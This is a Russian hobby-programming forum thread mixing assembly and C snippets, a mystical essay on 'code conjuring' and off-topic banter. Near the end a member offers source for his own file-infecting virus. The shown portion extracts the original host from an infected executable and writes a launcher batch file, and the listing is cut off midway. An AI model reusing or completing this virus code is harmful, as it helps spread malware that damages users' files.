Форум Эльфхейма

Разное => Трактир => Тема начата: Барон Морт от 16 Декабря 2012, 01:46:09

Название: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 16 Декабря 2012, 01:46:09
Если кто интересуется программированием на языке си или других языках , добро пожаловать в этот раздел !
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 16 Декабря 2012, 01:48:26
Когда мне делать ну ваще нефиг и необходимо как-то убить время я предаюсь размышлениям о судьбах мира и изобретаю новые функции для компилятора СИ .

Зацените !
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 16 Декабря 2012, 19:47:03
Ну что за жизнь ? Только я хотел своё творение обнародовать , как тут же все зависло .
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 17 Декабря 2012, 16:28:22
Вроде работает . Если программа в середине выполнения выглядит как будто она зависла ---- не отключайте её , на самом деле она в порядке .
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 19 Декабря 2012, 14:20:03
http://rghost.ru/42315743
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 19 Декабря 2012, 14:21:42
Это самая сложная программа , которую мне приходилось когда-либо писать . Исходный текст у нее ---- более 40 килобайт . В жизни столько много не писал !
Название: Re: ФУНКЦИИ СИ .
Отправлено: Кумехтар от 19 Декабря 2012, 15:37:36
Приложению не удалось запуститься, поскольку CC3260.dll не найден.
Это Epic Fail ))))))))

Что она должна делать?
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 19 Декабря 2012, 18:47:37
не понял че за бамбук ! В моей проге таких глюков не было !
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 19 Декабря 2012, 18:56:15
Слухай , а ты ее до конца запускал ?
Название: Re: ФУНКЦИИ СИ .
Отправлено: Кумехтар от 19 Декабря 2012, 19:01:03
До конца - это как?
Скачал - запустил.

У тебя она работает потому, что у тебя установлен компилятор со всеми длл-ками.
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 19 Декабря 2012, 19:05:58
она там в конце вывод текста даёт . Если нет текста значит программа ещё не завершила работу .
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 19 Декабря 2012, 19:06:41
А что за длл нужны для стандартных средств необъектного си ?
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 19 Декабря 2012, 19:18:13
Для правильной работы нужно снять атрибут " Только чтение " с каталога запуска программы и с диска D:\ тоже .
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 19 Декабря 2012, 19:19:15
В начале работы программа выполняет поиск . Это занимает около 15 минут .
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 19 Декабря 2012, 19:31:03
Перед запуском включайте звук !
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 17 Марта 2013, 20:42:36
Пипл , зацените какая у меня есть мегакрутая программа !
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 17 Марта 2013, 20:47:56
http://rghost.ru/44575814
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 18 Марта 2013, 02:08:40
Зацените код моей функции вывода строки


Turbo Assembler    Version 4.1       18/03/13 01:30:45       Page 56
LED2.ASM



   3136   0824                               ASHNAZG PROC
   3137
   3138                                 ; ПАРАМЕТРЫ ФУНКЦИИ .
   3139                                 ; KOORDINATAY
   3140                                 ; KOORDINATAX ----- КООРДИНАТЫ КУРСОРА .
   3141                                 ; DI ---- В ЭТОМ РЕГИСТРЕ ДОЛЖЕН
   3142                                 ; НАХОДИТЬСЯ АДРЕС
                                                                  ; ПЕРВОГО   БАЙТА
   3143                                 ; ВЫВОДИМОЙ СТРОКИ   .
   3144
   3145   0824  83 06 0DC9r 01        ADD GOLLUM,1
   3146
   3147   0829  50              PUSH AX
   3148   082A  53              PUSH BX
   3149   082B  51              PUSH CX
   3150   082C  52              PUSH DX
   3151   082D  56              PUSH SI
   3152   082E  57              PUSH DI
   3153
   3154   082F  B0 00          MOV AL,0
   3155   0831  A2 0DCBr    MOV GALADRIEL,AL
   3156
   3157   0834  B8 0000      MOV AX,0
   3158   0837  A3 0DCCr     MOV ELROND,AX
   3159
   3160         ; GALADRIEL == 0
   3161         ; ELROND    == 0
   3162
   3163   083A      M45:
   3164
   3165         ;-----------------------
   3166
   3167   083A  8A 36 0AB2r MOV DH,KOORDINATAY
   3168   083E  8A 16 0AB1r MOV DL,C
   3169   0842  02 16 0AB3r ADD DL,KOORDINATAX
   3170
   3171      
   3172         
   3173
   3174   0846  E8 00CA       CALL FRODO
   3175
   3176         ;----------------------
   3177         ; ПУСТЬ  DI ----
   3178         ; ЭТО АДРЕС ПЕРВОГО БАЙТА
   3179         ; ОБЛАСТИ ВЫВОДА .
   3180
   3181   0849  57              PUSH DI
   3182   084A  03 3E 0DCCr ADD DI,ELROND
   3183   084E  8B 35          MOV SI,[DI]
   3184   0850  5F               POP DI
   3185
   3186   0851  E8 00C1       CALL MORDOR
   3187
   3188          ;----------------------
   3189
   3190   0854  80 06 0DCBr 01 ADD GALADRIEL,1
   3191   0859  83 06 0DCCr 01 ADD ELROND,1
   3192
Turbo Assembler    Version 4.1       18/03/13 01:30:45       Page 57
LED2.ASM


   3193   085E  E8 00B3     CALL HOBBIT
   3194   0861  E8 00B0     CALL HOBBIT
   3195
   3196
   3197   0864  E8 00AD     CALL HOBBIT
   3198   0867  E8 00AA     CALL HOBBIT
   3199
   3200
   3201   086A  E8 00A7     CALL HOBBIT
   3202   086D  E8 00A4     CALL HOBBIT
   3203
   3204
   3205   0870  E8 00A1     CALL HOBBIT
   3206   0873  E8 009E     CALL HOBBIT
   3207
   3208
   3209
   3210
   3211
   3212   0876  50              PUSH AX
   3213   0877  A1 0DCCr   MOV AX,ELROND
   3214   087A  3B 06 0DC9r CMP AX,GOLLUM
   3215   087E  58              POP AX
   3216
   3217   087F  75 B9          JNE M45
   3218
   3219   0881  5F              POP DI
   3220   0882  5E              POP SI
   3221   0883  5A              POP DX
   3222   0884  59              POP CX
   3223   0885  5B              POP BX
   3224   0886  58              POP AX
   3225
   3226   0887  C3              RET
   3227
   3228   0888          ASHNAZG ENDP
   3229
   3230   ;--------------------------------------------------------------------------------------------------

Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 18 Марта 2013, 03:05:21
Красивый код , правда ?
Название: Re: ФУНКЦИИ СИ .
Отправлено: AnjanieL от 18 Марта 2013, 12:03:55
 Мышьяк,да вы поэт,эстет и романтик!!))
Название: Re: ФУНКЦИИ СИ .
Отправлено: Кумехтар от 18 Марта 2013, 14:01:29
Бесподобный!

На этом месте:
3167   083A  8A 36 0AB2r MOV DH,KOORDINATAY
   3168   083E  8A 16 0AB1r MOV DL,C
   3169   0842  02 16 0AB3r ADD DL,KOORDINATAX

я аж плакал!  :D
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 18 Марта 2013, 16:42:33
Мышьяк,да вы поэт,эстет и романтик!!))

Что есть , то есть . Но чтобы увидеть до какой степения я эстет и романтик , пройдите по ссылке Rghost !
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 18 Марта 2013, 16:44:42
Бесподобный!

На этом месте:
3167   083A  8A 36 0AB2r MOV DH,KOORDINATAY
   3168   083E  8A 16 0AB1r MOV DL,C
   3169   0842  02 16 0AB3r ADD DL,KOORDINATAX

я аж плакал!  :D


К сожалению тут как раз ошибка !

Надо писать

MOV DL,GALADRIEL


Это типа переменная .
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 18 Марта 2013, 16:56:08
В этой программе и правда есть стихи . Стихи про гномов . Если не верите ----- запустите её !
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 18 Марта 2013, 16:59:42
В этой программе 37 килобайт исходного кода вместе с комментариями . В жизни столько на Ассемблере не писал . Причём сама программа после компиляции имеет размер не боллее 4килобайт , а вместе с данными ---- не более 16 килобайт .
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 24 Апреля 2013, 22:49:29
В Москве реке был пойман пьяный медвед . Медвед ореставан за пьянство и купание в неположенных местах . Ачивидцы утвирждают ,что медвед в процессе поимки его из реки размахивал шапкой-ушанкой и пел гимн СССР а так же " Калинку-Малинку " .

http://tvrain.ru/articles/v_moskve_reke_vylovili_belogo_medvedja-340100/
Название: Re: ФУНКЦИИ СИ .
Отправлено: Melian от 24 Апреля 2013, 23:14:39
О, белый Медвед - это жесть, как она есть! :)
Название: Re: ФУНКЦИИ СИ .
Отправлено: Adarigell от 25 Апреля 2013, 11:20:14
Вот в Кемерово, в местной речке Вонючке (какой-то приток Томи, кажется, Искитимка) лет тридцать назад выловили всамделишного бегемота. Он там что, против потепления климата бастовал, интересно?

О. Даже нашлась фотка http://superbarok.livejournal.com/371465.html
Комменты тоже шикарны :)  ;D
Название: Re: ФУНКЦИИ СИ .
Отправлено: Кумехтар от 25 Апреля 2013, 17:12:01
Вот в Кемерово, в местной речке Вонючке (какой-то приток Томи, кажется, Искитимка) лет тридцать назад выловили всамделишного бегемота. Он там что, против потепления климата бастовал, интересно?

О. Даже нашлась фотка http://superbarok.livejournal.com/371465.html
Комменты тоже шикарны :)  ;D

Задорнов подобную историю рассказывал, как кому-то там подарили бегемотов. Пока им строили жилище - выпустили в подобную речку и сеткой обнесли, типа чтобы не сбежали. А они сетку порвали и поплыли по реке. А там мужики. Выпили и рыбу ловят, удочками. Ловили рыбу, а поймали бегемотов.
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 26 Апреля 2013, 13:08:20
Бегемоты , насколько я знаю , живут в Африке . Этот бегемот , видимо , эмигрант . Представляете , какая в западном мире царит нищета , коррупция и развал , если оттуда В РОССИЮ бежит не только Депардье , но и бегемоты ?
Название: Re: ФУНКЦИИ СИ .
Отправлено: Adarigell от 27 Апреля 2013, 13:42:16
Этот бегемот , видимо , эмигрант .
Тогда скорее, диссидент. Он совершил побег из курятника из советского цирка (или зоопарка)
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 28 Апреля 2013, 12:31:26
В наши дни искусство заклинания кода уже не пользуется большой популярностью, хотя в стародавние времена оно ценилось весьма высоко. Сейчас молодежь не очень-то интересуется старыми секретами, хотя так же рьяно, как и предыдущие поколения, ищет Силу. К сожалению, большинство неофитов кодерской магии отдаёт предпочтение дарам Баала и его сомнительным наукам: визуальным основам, острому си и тому подобной бесовщине. Но за внешним блеском прячется не могущество и свобода, а бессилие и оковы. Немногие из тех, кто достигает высот в этом мракобесии, ограничены вратами Баала, которые, как известно, ведут только в одно место: в геену огненную.

В поисках Силы некоторые попадают в ловушку прикладизма . Это модное учение набрало популярность в прошлом веке, и в ряды этого движения направляют свои стопы многие молодые люди, привлечённые мнимой легкостью и иллюзорными возможностями. "Обрети Силу за 15 минут!" - вот лозунг их лжепророков. Но они забыли старую пословицу, которая гласит: "без труда не вытянешь Левиафана из пруда". Вооружившись артефактами древности и современности, последователи прикладизма потокают собственному тщеславию и мании величия, не замечая, что, по сути, остаются на том же уровне, на котором были прежде.

 Заклинание кода - одна из немногих наук, которые дают своим адептам истинное могущество и власть над словами и регистрами , составляющими основы виртуального мироздания.

Чтобы научиться заклинать код, нам понадобятся три вещи - отладчик , Книга Двойных Слов и собственное намерение. Без последнего ничего не выйдет, даже если будут первые два в сколь угодно большом количестве.

Книга Двойных Слов  представляет собой три огромных фолианта от 400 до 1000 страниц каждый. Все три тома свободно доступны в пристанище интеловских гномов в Междусети (http://www.intel.com) в разделе для разработчиков.

 К сожалению, интеловские гномы родом из бывших колоний туманного Альбиона, а посему Книга Двойных Слов полностью на английском

В апокрифических преданиях говорится, что сам Баал был не против побаловаться на досуге божественным кодом 8086 , пока не написал на нём свой Бейсик

Я хотел рассмотреть, зачем понадобилось делать отдельные мнемоники для XCHG EAX,EAX - NOP. Причина, несомненно, в метафизическом смысле числа 90h. В каком-то смысле девятка (как утроенная триада) символизирует Инь и Янь, а ноль среди своих прочих значений символизирует Абсолют. Внесение такого мощного магического слова укрепило положение x86 в астральном поле .

Есть разные пути к Силе. И каждый по-разному себе её представляет. Кто-то представляет Силу как хитроумную шкатулку с невидимыми духами внутри, а кто-то день за днём пишет строки бессмысленного кода, двигающего колесо Сансары, и видит Силу в том, чтобы это колесо продолжалось вертеться. В погоне за Силой некоторые постигают дао вирусописательства , другие продают душу Баалу, третьи призывают на помощь могучих демонов. Заклинание кода не является путём к Силе, оно является ключом ко многим путям. И пусть по ним вас ведёт безупречное совершенство .

Говорят, что Баал, помимо написания своей книги, которая так и называется "Книга Баала", создаёт собственные системы и смертные миры . Поистине с диавольской хитростью он смог сделать так, что почти каждый из нас пользуется одной из них, попадая таким образом в тень Баала, в сумерках которой рыщут его дети в поисках подати, которую не брезгуют взимать чем угодно, но преимущественно зеленью. Когда кто-нибудь, набравшись смелости, замечает Баалу, что поведение его детей слишком вызывающе и даже разрушительно для окружающей среди, он отвечает: "Но разве не достоин я некоторого количества денег от пленников моих систем? И разве не нужно моим кобольдам из индийских пределов есть, пить и отдыхать? Разве не работают они в поте лица своего, чтобы принести Человечеству лучшие системы? Разве не должны вы отдать мне все свои деньги?". На последнем Баал обычно замолкает, понимая, что ляпнул что-то не то.




 Книгу Двойных Слов написали интеловские гномы для того, чтобы можно было создавать заклинания для их Философских Камней . В ней три тома. Первый том посвящён основам архитектуры интеловских Камней и о них излагается на протяжении более чем 400 страниц. Во втором томе рассказывается о формате инструкций Философского Камня I 80386 и приводится его подробное описание, что заняло почти 1000 страниц. Наконец, третий том предназначен хакерам, которые хотят поселить под сенью Философского Камня собственную  систему, посрамив тем самым нечестивого и греховного Баала.

Чудеса? Именно так. Интеловские гномы даровали нам много чудес и необъяснимых явлений.

 Теперь вы, наверное, понимаете, почему интеловские Камни, а также совместимые с ними (например те, которые делают гномы Амиды), получили такое широкое распространение. Ибо так неисчислимы чудеса и откровения, даруемые ими, что остается только в немом восхищении преклоняться перед гномьим мастерством.


У архитектуры 8086 длинная история .
Многие поколения магов пытались определить, в чем заключается ее сокровенный смысл. Некоторые утвеждали, что она несет врагам смерть и страдания от разящего клинка, иные указывали на ее форму и говорили, что этот разящий клинок применим далеко не всегда и не везде, а только в некоторых, хотя и весьма ответственных операциях.

 Но вернемся к теме наших предыдущих статей - таинственному искусству повелевания исполняемым кодом. В прошлых главах мы изучили практически все основы, необходимые для сотворения правильно работающих заклинаний, а в предыдущей главе была проведена небольшая демонстрация могущества, которое есть у каждого заклинателя кода.



В прошлом веке магия кода пользовалась почтением, а ремесленный подход к волшебству кода , которым грешат многие нынешние адепты, был не так распространён. В те времена заклинание кода было популярно, особенно среди заклинателей демонов. Таинственные маги древности обладали невероятными на взгляд современного обывателя способностями: практически из ничего они вызывали грозных духов, ужасных привидений и призраков давно умерших программ, которые, как армия Франкенштейнов, собирали свою черную жатву. Однако разрушительное влияние Баала коснулось и магов. Со временем клан заклинателей демонов измельчал, старые герои покинули этот мир , на их место пришли новые маги. Но большинство из них отдало предпочтение бааловым лженаукам и дельфовщине. Они также создавали демонов, но их творения были ничтожны  - так же, как и их создатели, и как инструменты, которые они использовали для своей псевдомагии. И поскольку судьба этих заклинателей не слишком завидна, перейдём к чтению Книги Двойных Слов. Да отступит тьма и прольётся на нас благословенный свет!
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 28 Апреля 2013, 12:35:27
Тогда скорее, диссидент. Он совершил побег из курятника из советского цирка (или зоопарка)
[/quote]

Диссидент ? Вряд ли . Диссиденты ---- это толпа олигофренов , у которых интеллект стремится к абсолютному нолю , как функция , обратная факториалу . А этот бегемот явно хитрый и себе на уме , наверное агент британской разведки .
Название: Re: ФУНКЦИИ СИ .
Отправлено: Adarigell от 28 Апреля 2013, 22:33:34
Неужто сам Джеймс Бонд...  :o
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 28 Апреля 2013, 22:36:52
Бонд недостоин . Скорее Д . Инглиш .
Название: Re: ФУНКЦИИ СИ .
Отправлено: Adarigell от 30 Апреля 2013, 18:12:22
Ну-у, портретное сходство вапче-то есть... но он явно похудел.
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 02 Мая 2013, 16:11:08
Трудно сказать . По-моему , следовало бы ожидать , что иностранный агент отощает как вобла от жизни в России . Может поэтому он такой тощий ?
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 02 Мая 2013, 16:13:12
Представляете, что ждёт Депардье ?

" Астерикс : Гляди , Обеликс , это ---- жених твоей подружки !

Обеликс : Где ? Этот? ( Пренебрежительно ) Да он же совсем тощий ... "
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 11 Мая 2013, 22:16:48
Ура ! Поздравьте меня , друзья !  Я написал свою первую 32-х-разрядную программу !
Название: Re: ФУНКЦИИ СИ .
Отправлено: Кумехтар от 11 Мая 2013, 22:33:58
Что она делает!?
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 11 Мая 2013, 22:56:49
Известно что ! Хеллоу Ворд !
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 11 Мая 2013, 22:57:19
Зоцените .
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 11 Мая 2013, 23:01:03
; ЭТО ФСЁ ТУТ ТИПА КОММЕНТАРИИ .

format PE GUI 4.0    

; ЧЕ ЭТО ЗА БОТВА Я ТАК И НИПОНЯЛ . КАЖИСЬ ЭТО ПОДТВЕРЖДЕНИЕ ТОГО ЧТО
; ГЕНЕРИРУЕМАЯ  КОМПИЛЯТОРОМ ПРОГРАММА БУДЕТ В ФОРМАТЕ ВИНДОУС PE И ; РАБОТАТЬ ОНА БУДЕТ НА GUI 4.0  
; ТО ЕСТЬ НА ЛЮБОМ МАЗДАЕ НАЧИНАЯ С Windows 95 .  ПЁС ЕГО ЗНАЕТ ЧТО ЭТО  ; ЗА GUI 4.0 Я ПРО ТАКОЕ НИКОГДА В ЖИЗНИ НЕ СЛЫШАЛ . .

include 'win32a.inc' ; ЗАЧЕМ-ТО НУЖЕН ФАЙЛ ИНК . НЕПОНЯТНО ЗАЧЕМ .
;----------------------------------------------------------------------

; НАЧАЛО ПРОГРАММЫ .

PUSH EAX

; УРА ! НАКОНЕЦ-ТО НАСТОЯЩИЕ 32-Х РАЗРЯДНЫЕ РЕГИСТРЫ ПОПАЛИ К НАМ В РУКИ !

MOV EAX,1

; КРУТО ! ВСЁ КАК РАНЬШЕ !

MOV [PROVERKA],EAX

; ТУТ ВСЁ ПОНЯТНО . ВСЁ КАК В СТАРОМ ДОБРОМ ТАСМЕ , ТОЛЬКО НАЗВАНИЯ ПЕРЕМЕННЫХ
; ПИШУТСЯ В КВАДРАТНЫХ СКОБКАХ . ЭТО ВОВСЕ НЕ АДРЕСНОЕ СМЕЩЕНИЕ КАК МОЖНО БЫЛО ПОДУМАТЬ ,
; А САМА ПЕРЕМЕННАЯ .

invoke   MessageBoxA,0,PREVED,LEDOVIKUS,MB_ICONQUESTION+MB_YESNO

; НЕНАВИЖУ ЭТОТ ПРОКЛЯТЫЙ МАКРОС ! ТОТ КТО ЕГО ПРИДУМАЛ , НЕНАВИДИТ ИСТИННУЮ КРАСОТУ АССЕМБЛЕРА .
; Я ИЗБАВЛЮСЬ ОТ ЭТОГО МАКРОСА И БУДУ ПИСАТЬ PUSH AX , PUSH BX  И ПРОЧЕЕ КАК БЫЛО В СТАРЫЕ ВРЕМЕНА .
; МАКРОСЫ НАДО ИСТРЕБИТЬ И ВСЁ ПИСАТЬ ВРУЧНУЮ !

POP EAX

; ЭТО , В СУЩНОСТИ СОВСЕМ НЕ ОБЯЗАТЕЛЬНАЯ КОМАНДА . ЗАДЕЙСТВУЕМ ЕЁ РАЗВЛЕЧЕНИЯ РАДИ .

PUSH 0

; ТУТ ТИПА КОНЕЦ НАШЕЙ АЦЦКОЙ ПРОГРАММЫ .

; PUSH 0 ---- ЭТО АРГУМЕНТ ВЫХОДНОЙ ФУНКЦИИ . УДИВИТЕЛЬНО НО ЭТА ФУНКЦИЯ РАБОТАЕТ !

invoke ExitProcess,0

; РАЗРАЗИ ГРОМ ЭТОТ МАКРОС !

; КОНЕЦ ПРОГРАММНОГО КОДА .

;--------------------------------------------------------------------

LEDOVIKUS     db ' ВИН32 КАПУТ ! ВИН32 МАЗДАЙ ! ',0

; ВЫСКАЖЕМ НАШУ ЛЮБОВЬ И ПОЧТЕНИЕ ОПЕРАЦИОННОЙ СИСТЕМЕ ВИН32 И ВСЕМ ЕЁ ФУНКЦИЯМ .

QQ DB 1

PROVERKA     DD   5

PREVED        db ' AVE ARSENICUM ! ',0

F1 DB   'PROTZESSOR.TXT'

;-----------------------------------------------------------------------

; ТУТ ТИПА ИМПОРТ ВСЯКИХ ФУНКЦИЙ И БИБЛИОТЕК . ВСЁ РАБОТАЕТ . НИЧЕГО ТРОГАТЬ НЕ БУДЕМ .

data import

 library kernel32,'KERNEL32.DLL',\
    user32,'USER32.DLL',\
    winmm,'WINMM.DLL'

 import kernel32,\
   ExitProcess,'ExitProcess'

 import user32,\
   MessageBoxA,'MessageBoxA'



end data

; КОНЕЦ ФИЛЬМА !
                                                                                    
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 11 Мая 2013, 23:10:37
вОД сома програма

http://rghost.ru/45929912
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 11 Мая 2013, 23:40:01
Вот ещё одна моя самодельная функция . На этот раз на языке СИ .

Эта функция ищет файлы в котологе и складывает их в специальную структуру , а потом возвращает указатель на начало этой структуры в памяти .

Структура называется OKOSAURONA ибо подобно этому оку она видит то , что скрыто . Структрура тоже самодельная и имеет следующий вид :


#include <stdio.h>
#include <dir.h>
#include <conio.h>
#include <string.h>

//------------------------------------------------------

typedef char CHAINIK [256];
typedef CHAINIK MASSIVSTROK [100]; //-- МАССИВ СТРОК .


//------------------------------------------------------


struct OKOSAURONA

{

int CHISLOKAT;

MASSIVSTROK JASARUMAN;

}

;




-----------------------------------------------------------------------------------



OKOSAURONA POISKFAILOV()

//---- ЭТА ФУНКЦИЯ ВОЗВРАЩАЕТ СТРУКТУРУ С НАЙДЕННЫМИ ФАЙЛАМИ .

{

int KOTOLOG;

//-- CHAINIK MASSIVSTROK [100];  МАССИВ СТРОК .

CHAINIK NAZVANIJEFAILA;

struct ffblk ffblk;

OKOSAURONA PREVEDMEDVED ;

int AZEROTH;

int A,JJ,JJJ;


putch(10);
putch(13);

//---- ОБНУЛЕНИЕ СТРОКИ .


CHAINIK ETALONNOLIA ;

for (A=0;A<256;A=A+1)

{

ETALONNOLIA[A]=' ';

}

//--------------------------- ЗАВЕРШЕНО . ----------------------------



//---------------------- ОБНУЛЕНИЕ СТРУКТУРЫ . -----------------------

for (JJ=0;JJ<100;JJ=JJ+1)

{

PREVED(ETALONNOLIA,PREVEDMEDVED.JASARUMAN[JJ]);

}

//----------------------------- ЗАВЕРШЕНО . --------------------------


//--------------------------------------------------------------------

JJJ=0;

AZEROTH = findfirst("*",&ffblk,16);

if (KOTOLOG==16)

{

PREVED(ffblk.ff_name,PREVEDMEDVED.JASARUMAN[JJJ]);

JJJ=JJJ+1;

//-------------------------------------------------------------------

}


//---------------------- ГЛАВНЫЙ ЦИКЛ . -------------------------------


while (!AZEROTH)

{

AZEROTH = findnext(&ffblk);

textcolor (10) ;

KOTOLOG=ffblk.ff_attrib;


//--------------------- ЕСЛИ НАЙДЕН КАТАЛОГ . ------------------------


if (KOTOLOG==16)


{

if (ffblk.ff_name!="..")

{


PREVED(ffblk.ff_name,PREVEDMEDVED.JASARUMAN[JJJ]);

JJJ=JJJ+1;

}


}



//------------ ТО КОПИРУЕМ ЕГО НАЗВАНИЕ В МАССИВ . --------------------



if (JJJ>93)

{ break; }

}


cprintf(" ђ…†?Њ ЏЋ?‘ЉЂ . 00 000I. ");


putch(10);
putch(13);


putch(10);
putch(13);



PREVEDMEDVED.CHISLOKAT=JJJ;

return(PREVEDMEDVED);

 
}
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 11 Мая 2013, 23:45:56
Внутри функции поиска используется другая маленькая функция . Это функция PREVED . Она копирует строки . Строка А копируется в строку B  . Функция получает два параметра ---- указатель на строку А и указатель на строку B . Размер строк не может превышать 256 байтов .
Вот код этой функции .





//-----------------------------------------------------

*PREVED(char*A,char*B)

//------ OOIEOE? AE? EIIE?IAAIE? IANNEAIA . ---------------------------

{

int C;
int D;

for (C=0;C<256;C=C+1)

{

D=A[C];

B[C]=D;

if (D==0)

{

break ;

}

}

return(0);

}
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 11 Мая 2013, 23:48:50
Вот функция , которая объединяет две строки и записывает результат в третью


*OBJEDINENIESTROK(char*A,char*B,char*E)

//------ OOIEOE? AE? EIIE?IAAIE? IANNEAIA . ---------------------------

{

int C,C1;
int D;


for (C=0;C<256;C=C+1)

{

D=A[C];

E[C]=D;

if (D==0)

{

break ;

}

}

C1=C;





for (C=0;C<256;C=C+1)

{

D=B[C];

E[C1+C]=D;

if (D==0)

{

break ;

}

}


return(0);

}
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 11 Мая 2013, 23:55:13
Каждый начинающий вирусописатель желает знать способ получения названия файла из которого стартовала программа , в тот момент когда программа уже в памяти . В СИ это очень просто .


int main(int argc, char* argv[])


argv[] ---- это системный массив в котором есть название стартового файла в формате ASCIIZ . Достаточно прочитать все символы до первого пробела , чтобы узнать это название .
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 12 Мая 2013, 00:28:43
Вот ещё вещь которую я просто обязан вам показать ! Это вирус . Это один из моих первых вирусов , способных заражать другие файлы . Это мой первый вирус подобного типа , написанный мной на языке СИ . Я придумал его полностью сам -- от алгоритма до каждой переменной . Как говорил Шекспир ---- " Я это совершил один " .
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 12 Мая 2013, 00:32:10
//---------------------------------------------------------------------


//---- ЭТО ВЕРСИЯ ПРОГРАММЫ 19 НОЯБРЯ 2012 ГОДА .

//---- ЭТА ПРОГРАММА НАХОДИТ ФАЙЛЫ И ОПРЕДЕЛЯЕТ , МОДИФИЦИРОВАНЫ ОНИ ИЛИ НЕТ .

//---- ЕСЛИ ОНИ МОДИФИЦИРОВАНЫ , ТО ВИРУС ПОВТОРНО НЕ МОДИФИЦИРУЕТ ИХ .



//---------------------------------------------------------------------------

# include <stdio.h>
# include <conio.h>
# include <sys\types.h>
# include <sys\stat.h>
# include <string.h>
# include <dir.h>
# include <process.h>


# pragma hdrstop
//---------------------------------------------------------------------------
#pragma argsused
//---------------------------------------------------------------------

//====================================================================










long OPREDELITDLINUFAILA(char*NAZVFAILA)

 


//---- # include <sys\types.h>
//---- # include <sys\stat.h>
//---- # include <stdio.h>
//---- # include <conio.h>




{



struct stat KROKODIL ;

int A1;

long B1;

//---------------------------------------------------------------------



A1=stat(NAZVFAILA,&KROKODIL);


if (A1!=0)

{

textcolor(10);

cprintf("OSHIBKA DOSTUPA K FAJLU . ");

textcolor(7);

}




B1=KROKODIL.st_size;

//---- ? ???? ????????? ????????? ???????? ?????? ????? .

return(B1);


}





//-------------------------------------------------------------------










int IZVLECHENIJE(char*A,int SOBSTVENNAJADLINA)

//---- ??? ??????? ?????????? .


{

long B,Z;

FILE*ISTOCHNIK ;

FILE*PRIJOMNIK ;


FILE*KOMANDABAT ;





int C;


int X;

int Z1;

char BATMEDVED[15]="MEDVED.EXE";

BATMEDVED[10]=0;

BATMEDVED[11]=0;

X=1;






B=OPREDELITDLINUFAILA(A);

cprintf(" VOT DLINA FAJLA . ");

putch(10);
putch(13);



cprintf("%d",B);


if (B>SOBSTVENNAJADLINA)

{

cprintf(" FAJL SOSTAVNOJ ! ");



//----------------------- ???????? ?????? . ---------------------------


//---- СОЗДАДИМ БАТ-ФАЙЛ PREVED.BAT И ЗАПИШЕМ ТУДА НАЗВАНИЕ ФАЙЛА

//---- MEDVED.EXE


if((KOMANDABAT = fopen("PREVED.BAT","wb"))==NULL)

{
cprintf("NE MOGU SOZDAT FAIL PREVED.BAT  . ");

getch();

}


//---- ТЕПЕРЬ ЗАПИШЕМ В ФАЙЛ PREVED.BAT СТРОЧКУ "MEDVED.EXE"








//--------------------------- ГОТОВО . -------------------------------

for(Z=0;Z<12;Z=Z+1)

{

C=BATMEDVED[Z];

fputc(C,KOMANDABAT );



}



fclose(KOMANDABAT);


//--------------------------------------------------------------------





if((ISTOCHNIK = fopen(A,"rb"))==NULL)
{
cprintf("NE MOGU OTKRIT FAIL 1 . ");
getch();
}




if((PRIJOMNIK  = fopen("MEDVED.EXE","wb"))==NULL)
{
cprintf("NE MOGU SOZDAT FAJL MEDVED.EXE . ");
getch();
}


//------------------------ ????? ??????? . ----------------------------





cprintf(" BUDEM KOPIROVAT ! ");





//----- ???????? ??? , ??? ?????  SOBSTVENNAJADLINA-????? ? ???? MEDVED.EXE .


X=0;

for(Z=1;Z<(B+1);Z=Z+1)

{

C=fgetc(ISTOCHNIK);




if (X>=(SOBSTVENNAJADLINA))

{


fputc(C,PRIJOMNIK );

}





X=X+1;


}



fclose(ISTOCHNIK);

fclose(PRIJOMNIK );




//--------------------- ?????? . --------------------------------------

}





return(0);



}



//---------------------------------------------------------------------
















* VIVODSTROKICHAR(char*A1)

//--------- ТА ЖЕ САМАЯ ФУНКЦИЯ , НО ДЛЯ ДРУГОГО ТИПА ДАННЫХ . --------

//-- ЭТА ФУНКЦИЯ ВЫВОДИТ НА ЭКРАН СТРОКУ СИМВОЛОВ .
